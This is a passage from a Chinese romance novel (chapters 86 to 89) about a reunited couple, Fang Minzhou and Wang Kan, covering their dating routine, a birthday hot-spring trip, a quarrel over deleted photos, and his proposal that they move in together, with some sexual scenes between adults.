他们坐在餐厅里吃饭的时候,方敏周才有机会观察了下王衎家的装潢。原木风格,简洁自然,方敏周不想自作多情,但是是她喜欢的风格。 他以前问过她喜欢什么样的家居装潢,她没有研究,想了想,说就喜欢简单点的,最好绿植多点的,王衎嘲笑她过时,和她分享一些宣称极简的设计,她摇头,觉得没有人味。 那时候各持己见,王衎说,那完了,她问什么完了,他说,以后我们家装修听你的还是听我的。 她忘了当时她是怎么回他的,估计又是恼羞成怒的打骂吧。 “吃饱了没?”她走神引起王衎的怀疑。 “嗯。” 他看了看她,忽然嘴角一扬:“真的?” 方敏周翻了个白眼,“真的!” 王衎笑,收拾好餐桌,两个人坐在沙发上看电视。看了会,他把她拉到了自己腿上。 于是方敏周得知,王衎在客厅的茶几里也放了安全套,她觉得这很可怕,他家是不会来其他客人吗? 铺好新的床单躺下早已过了凌晨,方敏周到了中午才醒,她被王衎搂在怀里,而他还睡得很沉,但盯着他的脸没一会,方敏周就发现这人是在装睡了。 她捏住他的鼻子,王衎还在装,渐渐的,脸颊泛起红色,直到真的要喘不上气,才笑着挣脱开,声音喑哑:“谋杀亲夫呢。” “你胳膊压到我了。” “有吗?”王衎说着重新抱住她,“再睡会。” 下午一两点才姗姗起床,点外卖吃饭。 方敏周问要不去看电影,王衎说可以,但最后还是待在家里黏糊了一天。 创业后,方敏周就没有严格意义上的周末了,不分工作日,每天都要打开电脑干点活,但这个周末尽和王衎厮混了。生活像是只剩下了最原始的欲望,有烦恼才有快乐,但没有烦恼的快乐,简单纯白得令人堕落。 到了周一,周末的结束,像某种程序,把两个人从“小别胜新婚”的气氛中强行剥离出来,穿上衣服,变回衣冠楚楚的社会人,开始了同城分居的恋爱。 江城有十几个区县,创业中心在新的经济开发区,方敏周的房子自然也在这附近,而王衎的家和公司则在主城区。 说远不远说近不近,这会儿肯定比读大学那会方便,还有车,但即使身在同一座城市,也不是能够天天见面的距离。 刚刚过去的周末,仿佛一个真空世界里的浓情蜜意,没有工作、没有距离、没有任何困恼,快乐到纯粹。 在意识到这点后,方敏周下意识做了最坏的打算,比如万一王衎天天要求见面或者跑来找她,她应该怎么做。 复合的蜜月期时时刻刻都不想分开,但时间久了,不免变成需要用精力去维护的日程,可是,没有发生方敏周担心的事情——她都不知道该说担心还是期待,总之她和王衎之间的相处意外得平衡:这一次王衎来找她,下一次就是她去找他,除周末外,周内见面一两次、两三次,很和谐。 方敏周便觉得自己有点病态地在比较曾经和现在,同与不同,到底是怕重蹈覆辙还是怕物是人非?不知道,但颇有点“一朝被蛇咬,十年怕井绳”的荒诞。 她小心翼翼地揣着她的忧虑,同旧的人谈新的恋爱,这么多年过去,对爱情这件事,她其实也并没有多少长进。 不过更多的时候,这些灰色的负面情绪就像小小的蚂蚁,试图撬动沉重坚硬的幸福,但最终都无功而返。 缠绵之后的贤者时间也变得不忧郁,是短暂的休息和温存,也不适合谈心。谈什么,方敏周没有确切的主题,而且看王衎总是一副老神在在的模样,不知道为什么,总觉得他心里一定也山路十八弯,便不拆穿,心想总归会有再吵架的时候。 到时候再说,船到桥头自然直。 这么一想,方敏周又觉得自己貌似也并不悲观,相反还挺积极的,颇有点乐于挑战的迎难心态。 比起和王衎之间貌似无需磨合的进展,周边人的调侃最让方敏周更头疼。 王衎住院那会,他的事迹被郑彦航“发扬光大”,连带着包括他们复合的事情,但凡还在高中班级群里的同学,包括老师,估计都知道了。 欧阳茜没来探病,但也来问了方敏周。事后她才开玩笑,说在那个关口,她就是想劝分,说出来感觉也不是人,方敏周直笑。 她另外和元月主动提及,元月则很是为她高兴,方敏周问她高兴什么,元月说:“你开心,我就替你高兴。” 金莹知道后也挺惊讶,第一件事是在大学寝室群里告知另外两位室友,第二件事是给方敏周算塔罗。方敏周盛情难却,还好,都是些好的预兆。 私底下,方敏周让王衎少来她公司,她如果去他公司接他下班,从来都不敢坐在他公司楼下的咖啡店等他,但王衎倒是把她这当成自己家似的,还都会带着饮料零食来,开学了,有几次碰上徐冉也在。 金莹这时候自然知道了徐冉就是王衎的外甥女,方敏周觉得他们背地里可能被八卦透了。 王衎教她一个脱敏的方法:在朋友圈里昭告一下亲朋好友。 方敏周听懂了他的暗示,“秀恩爱”这事属实不是她的风格,她以前就总是好久才发一条,有时还会假装不经意地夹在月度年度的总结里。 “……发哪张?”她问王衎。 王衎很无所谓:“都行。” 方敏周便自己挑了一张,王衎一看,“要不还是这张吧。” 方敏周:“……” 上周在家吃饭,王衎给她拍了一张照片,然后她模仿着,也给他拍了一张,暖黄色的灯光下,他举着玻璃杯对着镜头笑,笑得比她的那张傻。 照片发出去后,甚至炸出了几位潜水的好友,每一次消息提醒都让方敏周羞耻难当,她没觉得这方法有多管用。 而王衎在旁边斜眼瞧方敏周的手机屏幕,瞄到了几个熟悉名字的点赞,默默收回视线,心想这条朋友圈发得还是太晚了一点。 第87章 第 87 章 再漫长的夏天也有结…… 再漫长的夏天也有结束的时候, 气温骤降,转眼间秋去冬来,又是新的季节。 方敏周第一次在江城完整过冬, 北城的几年多少锻炼了点她的抗寒能力, 在王衎给她买了一件厚外套时, 方敏周才后知后觉冬天的来临。 江城和樟城毗邻, 气候上也相近, 不过樟城的十二月更干冷一些。方敏周换了一款身体乳,淡淡的花果香,但保湿效果无功无过, 而王衎说他不太喜欢这个味道,方敏周问他为什么, 他就说不喜欢。 虽然本就不打算再回购,但买都买了, 怎么也要用完, 方敏周没惯他, 不过提出了一个解决方案, 就是王衎也涂, “这样用得快些。” 王衎考虑了一下, “那你帮我涂?” 方敏周:“……” 之前王衎帮她涂过,起初方敏周乐得自己不用动手,但他一只手, 动作很慢,到后面也总是变成调情, 每每这样方敏周受不了,就重新自己涂了,现在让她给王衎…… 也行吧。 方敏周自诩比王衎正直, 清白心思上阵,然而抹着抹着,看乳白色的液体在小麦色的皮肤上推开,像融和的牛奶可可,方敏周还是脸红了。 读书的时候,王衎的身体就比大多同龄的男生结实,现在肌肉线条练得更明显,是成熟的男性身材。现在她对自己的欲望越来越清晰和坦然,无论人生事业还是性,所以她承认她喜欢王衎的身体,是性感的——即使他一只手打着石膏。 还是说根本原因是爱?方敏周分不清。她对另一半的外形如何其实并无要求,或者说很包容,所以无论王衎是黑是白,留不留胡子,偏瘦还是偏壮,她都还好,她都…… 王衎的皮肤体温好像越来越高,把她的手心都熨得烫烫的,方敏周一颗心也跟鱼漂似得起伏不定起来。 她低着头,但能够感觉到王衎的目光,等方敏周稳住心态稍一抬眼,就看到王衎正盯着她,虎视眈眈的,主动等着要咬钩的鱼似的,揣着以己度人的坏心思,以证实他往日种种都情有可原。 方敏周心里好笑,表面上反而更能装得无动于衷。 最后在王衎身上闻到花果香味,方敏周也感到些许奇怪违和,便猜到了他不喜欢这个味道的原因:太直白,盖过了他身上原本自然的气息。至于那股气息是什么,方敏周一时又形容不上来。 所以王衎也闻到过她身上的味道?是什么样的,他好像从来没提起过。 “……你在闻什么?”方敏周忽得听见王衎的声音,他的脸靠近她,双眼含笑,“闻我啊?” “……啊?唔。” 要说的话被王衎用舌头卷走吞下,炙热的呼吸被花果的香味熏染,等他再假装好心地问她刚才要说什么,方敏周也懒得再提,反正现在他们是同一个味道了。 不仅味道,情侣交往久了,听说各方各面的习惯品味甚至长相都会趋同。 还很小的时候,忘了是哪个长辈说她爸爸妈妈很有夫妻相。彼时方敏周看爸妈相视一笑,便觉得这是一个很甜蜜的形容,等到她自己谈恋爱时,有一天看着她和王衎的合照忽然想起来这个词,倒是羞耻得不愿多想。 但她和王衎五官长相差异很大,着实很难想象要怎么长,才会越来越像对方,是她像他,还是他像她。 方敏周最近又想到了这个问题,因为她感觉她和王衎越来越趋同,睡同一张床、吃一样的饭、用一样的东西、玩一样的游戏,身上还穿着对方挑选的衣物。 上大学那会儿毕竟分隔两地,严格意义上来说各有各的生活,电话短信和数得过来的见面次数无法填补占据所有细节,不像现在,她的浴室里也多了一支剃须刀。 伤筋动骨一百天,十一月过半,王衎把石膏拆了,他整个人精神头变得更足,有使不完的劲儿。 方敏周想要买个小书架,他兴致勃勃就要纯手工给她打造一个,被方敏周制止,最后买了某组装款,两个人慢悠悠地利用周末时间拼好,也算是完成了情侣必做小事之一。 王衎还是很有仪式感,至少比方敏周有仪式感。 之前她补送他生日礼物,五花八门的,有点拿钱表心意的心虚,好在王衎还是喜欢的,而马上她生日,方敏周有点怕他搞得太夸张,而当金莹在茶水间同她提起过两周要出差的事,方敏周一愣,问一定要在那天吗? “不一定,但最好早点定下来?不然万一对方要你年前就交付一部分东西,我怕你忙不过来。”金莹说。 她也知道那时候是方敏周生日,不过以前生日的时候上课,现在生日的时候上班,出差也很正常。 “没关系,改天吧,提早或者延迟都行。” “行。”金莹看了看方敏周,换了暧昧的表情打趣,“要和男朋友一起过生日啊?” 方敏周有点不好意思地点了点头。 金莹“啧啧”两声,煞有介事:“工作重要还是恋爱重要?” 方敏周笑而不答。 “鱼和熊掌不能兼得。”金莹说着好奇起来,“那万一那天必须要出差呢?你怎么办?” “那就没办法了,但现在能改就改了嘛。”方敏周说。 “是啦,不然这老板当得多没意思。” 两个人又聊了会,忽然闻到香味,转过头一看,都是一愣——王衎不知道什么时候来了。 徐冉同他一起坐在一起,正在吃蛋挞,王衎好整以暇地招呼她们:“要不要坐下来吃点?” 金莹看向方敏周:“你男朋友这样好吗?” 方敏周:“……” 徐冉埋低脑袋,掩耳盗铃地降低存在感。 金莹是开玩笑,没有生气,坐过去啃了两个鸡翅,但下班回家的途中,方敏周还是委婉提醒王衎,以后来的话要和她说一声。 她这又不是夫妻店,工作是工作,生活是生活,她觉得这样影响不好。 王衎答应,说自己今天只是外勤结束刚巧路过,“之前都有和你说啊,不过就你们三个人,都认识,有什么影响不好的。” “那万一以后我招人了呢?” “那怎么了,我有那么见不得人吗?男女朋友正常探班,你是老板,我是老板……公?” 什么乱七八糟的,方敏周笑着白了他一眼,回过味,“你是探班还是查岗?” “探班啊。”王衎面不改色地打着方向盘,“探班和查岗有什么区别,反正你又没有说我坏话。” 方敏周无语,嘀咕了句。 王衎没听清,追问她说什么,方敏周便字正腔圆道:“我说你,江山易改,本性难移。” 王衎当表扬似得哼笑一声,瞥她,“你不也是?” 方敏周心里驳了他一句。 “你生日真的不出差了?”王衎又问。 “嗯。” 王衎顿了顿,“你不会是知道我已经来了,所以才那么说的吧?” “你怎么这么难伺候?”方敏周有点不高兴了,“我不改时间你要生气,我改了时间,你又觉得我故意的?” “到底是谁难伺候啊?”王衎失笑,“我就是问问,我是想说,你就按你自己的计划来好了,你不用因为我改时间。” 方敏周根本不信王衎这些冠冕堂皇的话。 “我说真的,不然你要是改了时间之后反而天天加班,我宁可你生日的时候出差。” 方敏周这才好好看向王衎,他同样看过来一眼,表面上来看,他不像在说违心话。 明明没变,却都明显察觉到对方的体谅与退让。方敏周犹豫过后,还是选择把最真实的想法告诉王衎:“这次没关系,本来时间也没有定好,但如果是改不了的时间或者比较重要的客户,我可能就不能和你一起过生日了。” 王衎点点头:“我知道。” 车内一时沉默,只有音乐声悠扬。遇上红灯,王衎停下车,转头看方敏周欲言又止,笑道:“我知道,而且我要说,以后我说不定也会放你鸽子,你到时候不要生气。” 提到“鸽子”一词,他举起双手,做了个表示引号的动作。 方敏周舒了口气,“如果你不是故意的话。” “复合”或许是一场神奇的魔法,过去的所有回忆都被镀上了修复滤镜,美好的变得更美好,难堪的也变得轻松。谈到最后掉在地上破了的果实,变成土壤成为滋补这一次感情生活的养分。 方敏周生日的那个周末,王衎预定了邻省山里的温泉民宿,他们自驾出游,意外遇上了今年来得早的初雪。 雪不是很大,但飘飘洒洒不断,室外的温泉关了,房间里有私汤。方敏周边泡汤边欣赏落地窗外的雪景,她的心上仿佛也被铺上了一层同样洁白的冰雪,王衎走过来,留下脚印。 一起洗过澡,但还没有一起泡过澡——不对,好像以前住酒店的时候泡过一次,方敏周已经泡得有些晕乎了,想不太起来。王衎在水里闹她,她也没恼,然后被他打横抱出浴池。 房间里暖气开得很热,方敏周一点儿不觉得冷,王衎更是烫得像个火炉。贴得久了,方敏周甚至都有点不太舒服,不像她拿王衎取暖,更像王衎用她降温。 换她翻身跨坐在王衎身上,这个姿势,方敏周比较能够多喘上几口气。 灯光敞亮,她得以看清身下的王衎。 她不知道自己表情如何,但王衎仰望她时,脸上总有最为赤裸的渴望,眼神直勾勾的,却又流露出一丝羞涩的忐忑,她很喜欢,从而愿意满足他。 第一次这个姿势是很多年的事,在初尝情欲的那个夏天,一开始不得要领,莽莽撞撞的,但紧张兴奋异常,两个人毫无挫败感地试了又试,渐渐摸索出适用至今的规律。 方敏周的呼吸变得缓重,手指覆上王衎的脸,一边亲他一边抚摸。 男人的身体和女人的身体太不一样,他的身体和她的太不一样,无论做过多少次,方敏周仍然会对此感到好奇,探究欲望如何流经他们的身体,她的欲望又从何而来,是王衎的肌肉还是声音,又或者……是他动情的眉眼。 “快点……”王衎哑声催促。 方敏周看他额发都湿了,偏黑的肤色都泛起红,像傍晚倒映着夕阳的河流,但她并非有意,不禁臊道,“急什么……” 王衎从喉咙中逸出笑声,咬牙:“你不急我急……给个痛快行不行?” 方敏周总是会被王衎的一些用词逗笑,“怎么给你个痛快?” “你说呢?”他细致的描述把方敏周直听得面红耳热,一只手去捂他的嘴,反而被含住了手指。 方敏周抽不回手,上下都像有嘴在咬。 吃进去了。 周日晚上回到江城,本来好好的,睡前却吵起架。 起因是他们躺在床上边翻看这次旅游的照片边回忆,在王衎翻出了两个人之前的照片后,方敏周却没了话,王衎以为她忘了这些照片,她记得,但照片她删了。 王衎愣住,不相信般地把她的手机翻了个底,真的一张历史照片都没有,于是气氛僵滞。 方敏周看出王衎生气了,忍着才没有发作,她便主动说:“……你把照片重新传给我吧。” “然后你再删一遍吗?” 他这句气话完全没有过脑,方敏周也沉了声,“王衎。” 王衎反应过来自己说错了话,但还是恼火,并为一种巨大的后怕所笼罩。 照片投送的过程中,又都没有说话,等王衎看到方敏周的相册里满是他们的照片后,他气才顺了点,但与此同时,他想明白了一件事,那就是方敏周删照片无可厚非,他没有资格指责她。 可是他之前就和方敏周说过,他不要她可怜他,“你是不是真的就没有想过和我重新在一起?” 和从前一样,每次这种千钧一发的时刻,方敏周都清楚,她可以怎么说漂亮话避免接下来的争吵,但她就是不愿意,即使她因为工作学会了更多的圆滑,她依然不愿意,看着王衎,她坦诚道:“是。” 王衎骂了句脏话,下了床。 方敏周冷眼看他烦躁地来回走了两步,抓了件短袖边套边说,“我给徐冉推实习,只是觉得合适,但没想让她替我卖惨,如果可以,我也没想让你知道我家里那些事。” 王衎不说还好,一说起来还是同样的固持己见,方敏周也有了气,“我为什么不能知道?那万一以后还有什么事,你是不是又要和我说分手?我有什么事情,我也不应该拖累你,懂事一点直接走掉?“ “不是。”王衎抓了把头发,但怎么不是,他没了话。 方敏周拥着被子,她不是不知道王衎的顾虑,只是站在她的角度,“如果我不知道你家里出了事,对我来说,你那时候就是觉得累了,想分手了,我为什么要和这样的人复合?” “我随便那么一句话,你就当真了,我之前说的做的都变成了狗屁,到底是谁累了?删联系方式的人是你,删照片的人是你,和其他男的吃饭的人也是你……” 方敏周直接一个枕头砸过去,“你有病,王衎。” 王衎歪脸垂眼,看着无声掉在地上的枕头。 “我删照片是因为我每次看到就会想哭,这样你满意了吗?” 所以决定,王衎一天没有联系她,她就删掉一张照片。一开始删的都是些搞怪的自拍,删完了,再是她拍的王衎,最后,是两个人的合照。 照片删完了,王衎还是没有来找她,她证实了自己的幻想多么可笑,又大哭了一场。 她要怎么和王衎说这些?说了又算什么意思?反过来让他愧疚心疼吗?将心比心,留着所有照片的他可能是更伤心的那一个。 王衎重新看向方敏周,他就是想听她一句解释,真的听到了,心里却一阵哀鸣。 他不得不承认,虽然分手是他提的,但他内心深处一直有在怨怪方敏周当年的毫不挽留,她的决绝让他害怕,所以现在才会如此应激。 方敏周说得没错,他是有病。 他把地上的枕头捡起来,轻轻拍了拍。 “我知道我删照片这件事情很伤人,我现在也后悔,还好你没有删掉,但是……我不觉得我做错了什么,就算你也把照片删了,我们可以再拍啊,但是王衎,”方敏周尽量平声静气,“你要是还是计较这些事情,我们两个走不下去的。” 这些话说出来,她感到深深的无力。她早就做好了未来一定会吵架的准备,所以叮嘱过自己,到时候一定不要自诩理性地说太过分的话,但她还是说了。 王衎冷笑,“你不是打辩论的吗,你这句话逻辑呢?你要是觉得没有做错,那为什么还后悔?” “没有做错和会后悔是两回事。” “那现在让你回到过去,你还删不删照片?” 方敏周气得把自己的枕头也扔了过去,“然后我天天对着照片以泪洗面你就高兴了是吧?” “是啊,然后哭到受不了回来找我。” 架吵到这份上,已经没有了继续客观交流的意义,方敏周举手放弃,“那你做梦去吧。” “我一直这么做梦啊。” 方敏周要抓狂了,“你现在是想怎样?照片我删了,时间也过去了,你就想我死皮赖脸追你一次呗,那你现在提分手啊,我追你。” 王衎把怀里抓住的枕头扔回床上,“……我也没想怎样。” 方敏周一肚子气。 王衎又把地上的枕头捡起来拍了拍。 说实话,方敏周说对了,他是想方敏周反过来追他一回,但如果这要以第二次分手为代价,那还是算了。 他把自己的枕头重新放回床上,方敏周眼神瞥过来,大概是嫌掉在地上过,他便默不作声地换了个枕套,等他脱了短袖重新钻进被子里,方敏周还在一旁坐着。 她盯着王衎的后脑勺,起了把他踹下去的念头,但最后只是关了灯,拉过另一边被子,同样背对着王衎躺下。 过了一会,后背一热,方敏周把王衎的手打掉,挪开距离,他又贴上来,方敏周咬牙,不由得想谁能比他更不要脸? 不管他是示好还是想做,方敏周都没有心情,眼见着自己要掉下床了,她让王衎适可而止,自行解决,如果忍不了,要么去睡沙发要么回自己家去。 王衎真是受不了方敏周的臭脾气,把人直接翻过来,作势要继续。 方敏周怒从心头起,挣扎间,一巴掌不小心扇到了王衎脸上。王衎愣住,她也有些不知所措,想要解释不是故意,王衎动真格般攥住了她的手腕提过头顶,同时还在她颈窝处用力咬了一口。 方敏周吃痛,顿时一点愧疚都没有了,不知道哪个空隙,当真一脚把王衎踹下了床。 很重的一声闷响,伴随着王衎的痛哼,方敏周在黑暗里懵了懵,连忙起床打开灯,就见王衎躺在地上一脸痛苦——脑袋砸地了。 方敏周瞬间心凉了大半。 虽然过了一会王衎缓过来许多,但方敏周已经换好了衣服,又帮他穿外套。因为几个月前王衎刚脑震荡过,方敏周坚持要去医院做检查。 王衎第一次见方敏周把车开得这么快。 深夜的马路车辆寥寥,他看了方敏周一会,忽然有点想笑,觉得要是这条路没有终点也不错。 CT检查出来没有大碍,王衎凉声:“我说了没事吧。“ 方敏周瞥他,摸了摸他撞到的地方,不同他呛。 吵到最后如此滑稽收场,气氛难免有点尴尬,但回到家已经凌晨两点多,两个人简单洗漱了下后便重新躺下。 王衎再靠过来,方敏周没有再推开他。 王衎哼哼:“你早点这样不就好了?” 方敏周不语,心里骂他活该。等到他的呼吸变得平缓,懊恼才像夜色般晕染开。 第二天早上两个人都请假了,凌晨的急诊跟梦似的,下楼吃完饭,各自去上班。 隔天晚上,方敏周出差前夕,王衎来接她下班。回到她家帮她收拾行李,顺带着把冰箱里的所剩的新鲜食材消耗完,但没有留宿,是想让她好好休息。 方敏周没说什么,他要走,她不可能硬要他留下暖床。如果他对被她踹下床这件事还有阴影,也情有可原。 他离开时,方敏周给了他两样东西。 一袋厨余垃圾,“麻烦扔一下。” 一根备用钥匙——“……如果你需要的话。” 至于需要什么,方敏周略过了,因为她也不知道。她家没有需要定期喂养的宠物,不然还能拿来当正确正当的理由。 “或者我回来的那天,你可以提前给我准备顿晚饭。“她开了个玩笑。 王衎把门卡塞进外套内兜里,挑挑眉,表示收下了。 至于王衎家的门是密码锁,方敏周已经知道了密码。 看着被关上的门,方敏周叹了口气。她不想被情绪过度困扰,检查了下行李箱,确认无误后关上,准备洗头洗澡、早点睡觉。 进浴室前,听见门铃响。 方敏周心怀疑虑地走过去,猫眼里一看,果然是王衎,她打开门,还没开口问,王衎递过来一个小盒子。 一眼装戒指的盒子。 方敏周怔然。 “别担心,不是婚戒,随便挑的戒指。本来想等你回来之后再送你,但……还是现在送给你吧。” 方敏周“哦”了声,把小盒子接过来,“谢谢。” 王衎没说话,低头蹭鞋。 方敏周发现他两手空空,硬是问了句:“垃圾呢?” “已经扔了。” 方敏周在心里又“哦”了一声,心想他这是都下楼了又回来? 就为了把戒指给她?被她送根钥匙刺激的?还是他以为…… “方敏周。”王衎突然出声,小动作止住。 “嗯?”方敏周回过神来,被他弄得也有紧张。 “我有件事,你再考虑下。” “……什么?” “你要不要搬来和我一起住?”王衎抬起头,“或者我搬来和你一起住,我想和你住一起,你呢?” 第88章 第 88 章 几年前,王衎非自愿…… 几年前, 王衎非自愿地去看过一次心理医生。 他妈旅游途中给他求了个护身平安符,回来后却怎么也找不到,一慌张, 各种可怕的念头一拥而上, 觉得是一个极其不祥的征兆。 王衎从她的手提包夹层的小包里找到后, 他妈心有余悸地长叹了口气, 然后郑重其事地把符交给他, 王衎便也只好郑重其事地接过。 在王衎看来,他觉得他妈似乎有更严重的心理问题,但为了让她不要太担心, 他就去看了她一直想让他看的心理医生。 那其实是一次不算成功的心理咨询,他很清楚自己的情绪和想法, 也无意和医生聊太多,只不过在家人面前装装样子, 和小时候假装自己有在认真写作业是一个道理。 他妈哪懂什么心理医生, 都是表姐提议的, 而他也当真糊弄过去。后来的一切在他妈看来都是好转的迹象, 她又能放下心享受自己半退休的生活。 不过心理医生到底不是吃素的, 那次正儿八经的咨询在王衎心中敲了一次钟。他印象最深的, 是医生夹在话里的一句。她说,和父母相处的模式以及产生的问题,大概率会在其他亲密关系中延续。 所以要直面问题所在。 承认自己没有安全感, 对奔三的成年男性王衎来说,是一件难以启齿的事情。 眼前方敏周的怔愣更是让他感到羞耻, 虽然他不是一时冲动,但此时此刻,不免也有些懊悔了。 可能是问得太突然, 可能时机尚未成熟……他试图开口为自己挽回一点尊严和面子,顺便也活跃下气氛,却先听见方敏周说:“其实我们现在也差不多吧……” 他强撑起的心情瞬间跌到谷底摔得粉碎,他就像超市门口的气球人,看起来无法无天,实际上都是空架子,针一戳就漏气。 望着方敏周犹豫无辜的脸,王衎咬牙切齿地尽量笑了下,因为恼羞成怒只会显得他更无能,他其实也做好了被拒绝的准备不是吗? 但这笑落在方敏周眼里是苦笑,受委屈的笑——于是她意识到王衎可能误会了。 “我是说……”方敏周往旁边让了让,“进来说吧。” “不用,我懂你的意思,”王衎现在只想走,他在某个情绪爆发点的边缘,“那今天先这样?我先走了。” 方敏周拉住他,“你懂什么了?” 王衎看她。 “进来说。” 方敏周硬是把人拉进屋内,让王衎脱了外套在沙发上坐下,又给他倒了杯水,“喝一口。” 王衎接过水杯,正要喝,反应过来,仰起脸,一脸不服,“我是狗吗?你说什么我做什么?” “……你怎么老是曲解我说的话?我就是让你喝口水冷静一下。” 王衎:“……” 前天晚上的气要消不消的,这会儿看王衎颇有点不情不愿地喝了口水,方敏周倒是想笑,被王衎抬眼盯过来,她咳嗽一声别过脸掩饰,却忽地被他拽过去。 惊呼被温热的嘴唇堵住,温水渡进来,大半从从唇缝间溢出,顺着脖子流进衣服里。 方敏周整个人哆嗦了一下,呛了口,水喷了王衎半张脸。 方敏周:“……” 王衎:“……” 双双拿纸巾,互相给对方擦拭,目光躲闪,最后又都看到了对方眼里。 方敏周:“你玩强吻玩上瘾了?” 王衎避而不谈:“你还没说你什么意思。” 方敏周观察着王衎,“你现在是生气还是没生气?” “没生气。” “那你这是什么表情?” “什么什么表情,”王衎不太爽地说,“我被拒绝了还不能伤心一下?” “你这样,我不同意也不行啊。”方敏周悠悠道。 王衎觑她,“那就同意咯。” 方敏周:“……” “到底行不行,什么叫差不多?” “我的意思是,”方敏周解释,“我们现在和同居不是差不多吗?有时候你住我这,有时候我住你那,算半同居吧。” “什么叫半同居,没听过。你知道我说的同居是什么意思吗?” “我知道啊。”方敏周看傻子一样看着王衎,“但是你确定吗?像现在这样还有私人空间,住在一起后,其实不一定就……” 王衎:“我不需要私人空间。” 方敏周:“……我需要。” 王衎耸耸肩,“那反正我不需要。” 虽然知道王衎是在同她耍无赖,方敏周还是觉得好气又好笑。不是狗,但跟小猫小狗似得要窝。 看方敏周没了话,王衎有点怕是自己刚才表现得太咄咄逼人了,“……你是不是觉得我们可能会天天吵架然后分手?” “天天吵架不至于,”方敏周说,但频率一定会变高,毕竟需要磨合的事情变多了,“但会不会分手……只要你不提的话。” 她开了一个地狱笑话。 王衎怔然,面露赧色,“你还问我有没有生气……是你一直还在生我的气吧。” 方敏周瞅他,原话奉还,“我被分手了还不能伤心一下?” 王衎:“……” 他叹了口气,把脸埋进了方敏周的颈窝里,“……我错了。” 这下换方敏周有点不好意思了,她倒也不是想让王衎认错撒娇。 “我以后不会了。”他又小心翼翼地说,讨好地亲了亲她的脖子。 方敏周半边身子发软,应了声。 她是相信他的。 曾经她就有过这种信任,被摧毁过,现在又义无反顾地有了勇气。 “我知道你有时候觉得我很烦人,我也不想,所以我想了下,如果能住在一起,我可能会比较安心?反正我吵架也吵不过你。“ “……这和吵不吵得过没关系,吵多了总不好啊。” “我也不想吵啊。”王衎把方敏周捞到腿上面对面坐着,“我其实一直都挺乖的你不觉得吗?是你老是惹我生气。” 方敏周被亲得痒痒的,往后躲了躲,“……谁惹谁生气啊?” 王衎按住她的腰,低声提醒:“别动来动去的。” 方敏周顿时脸热,冬天裤子布料厚,蹭来蹭去的没注意,这会儿不动了,反而感觉王衎那处越来越硬地顶着她。他的吻变得急促,方敏周的心也跟着他的节奏跳起来。 让他亲了一会,又听王衎略有抱怨地说:“我之前就想让你住我那,结果你自己把房子都找好了……你就没想过和我一起?” “想是想过……” 王衎抬起脸,有点紧张地等着她后半句话,像是已经怀疑自己哪里做的不够好了一样。 可方敏周并没有什么严肃的话,她笑着摸了摸王衎的眉心,“我是都可以,看你,不过……” “什么?” “我感觉就算住一起了,你也不会安分。”方敏周用食指点点他的脸,“治标不治本。” 王衎像是被说中了,但笑得毫不惭愧,还振振有词道:“不会啊,这几天我就在家里等你回来,这样日子不就很有盼头了吗?还是你出差的时候一点都不会想我?” 方敏周不置可否。 他要她说出来,她只有无奈道:“会想啦。” “怎么想,多想?” 方敏周不知道怎么开口,王衎说那他到时候再打电话问她。他说这话的时候脸上带着坏笑,生怕她看不出他存了什么歪心思一样。方敏周轻轻拧了下王衎的耳朵,他夸张地叫唤逗她笑。 他们现在本来就处于事实同居中,王衎还要口头讨个说法,想来想去,可能还是仪式感的问题吧。 “那等我出差回来搬你那?”方敏周提到正事。 “你这边合约到期了?” “还有四五个月吧,可以转租。” “我搬过来吧,这里离你公司近一点,等你房子到期了再说。” 方敏周有一点点意外,她还以为王衎会想要她搬过去,“也行。” 他经常住在她这,该有的东西几乎都有,也没有什么需要额外搬运的。 王衎看出方敏周的想法,半开玩笑:“因为你之后可能就只能住我那了。” 方敏周愣了愣,反应过来他话里的暗示后,不由得嗔了他一眼。 戒指盒在亲热的时候掉出了她的针织开衫口袋,卡在沙发夹缝间,打开来,里头是一只银戒,和大学的那只很像,但更精致些。 注意到王衎期待的目光,方敏周把戒指递给他,然后也伸出右手,王衎笑着在她手背上落下一吻后,再帮她把戒指戴上,“那我今晚不回去了?” 方敏周舌头被含住,含糊地回道:“随便你……” 又亲了一会,依偎着喘息时,她想起来一件事,问王衎:“……你是不是觉得我把之前的戒指扔了?” 王衎一愣,“……你没扔吗?” “没有,照片删了,你送的东西……其实当时也很想扔了烧了,最后没舍得,就用箱子装起来了。”方敏周稳住气息。 虽然那时候一直不承认是舍不得,而是相信了另一套歪理:越是决绝越是说明放不下,烧了也会变成灰跟着自己,所以应该留着,等哪天看到这些东西也不过莞尔一笑的时候,就说明一切都真正过去了。 而那个纸箱封上后她就再也没有打开过。 “有这么惊讶吗?”方敏周看着王衎笑道,“要不你现在去把戒指退了?还能退吧。””不退了。”王衎说着,突然站起来,抱着她的两条腿往卧室走去。 方敏周猝不及防,双腿夹紧的同时,抱住了王衎的脑袋。 后来方敏周不得不提醒王衎,别忘了她明天还要出差。王衎答应着,说最后一次,又说了好些可怜的话,好像接下来几天他就要饿肚子一样,方敏周不吃这套,但最后一次就最后一次吧,这一次却做得额外久。 予取予求只会造成贪得无厌的结果,方敏周让他快点他不肯,反而还挑衅地让她帮忙。方敏周只好照做,最后结束,看王衎爽成那样,倒是觉得自己上了当。 吃饱喝足,虽然方敏周不在,王衎心情倒一直很不错,是冬天,但整个人都如涨潮的春水一般,在方敏周终于要回来的这天更是春风满面。 天也是好天,阳光明媚,暖洋洋的,湖边的柳枝好像眨眼间就会抽出新芽一样。 王衎开车去机场,带了鲜花,但迎面看到方敏周和人一起走出来时,心里哗啦啦的小河倒是瞬间结冰了。 第89章 第 89 章 王衎一共没…… 王衎一共没见过卓睿几面, 之所以能立刻认出来人,那两通电话强化了记忆以外,主要因为方敏周拍毕业照的时候有他。 天知道这位已经毕业了的学长, 怎么还特意来参加学妹的毕业典礼。 他那时候怄得半死, 有好几个瞬间都想当个疯子一样冲上去, 又无数次渴望方敏周能够看到角落里的自己——但她和朋友笑得那么开心, 所以他离开了。 卓睿和林斯年一样, 成绩优秀、举止斯文,和他截然相反,却与方敏周有许多相似点。 王衎最讨厌方敏周身边出现这样的异性, 后来想,大概是他被当作坏学生太多年, 虽然自己也挺自得其乐的,但潜意识可能已被应试教育毒害, 所以总觉得方敏周站在他的对面, 好学生方敏周会和好学生某某某挨在一起。 后来方敏周要看他“偷拍”的照片, 王衎翻出来了, 方敏周看过后, 主动亲他。 对此王衎还是很享受的, 但他其实并不想方敏周心疼愧疚,毕业照不笑难道还哭吗?他刻意忘记自己那时的想法,太自卑太阴暗, 说出来可能会把方敏周吓到。 但另一方面,除了林斯年是被他冤枉的, 其他人一点也不无辜。 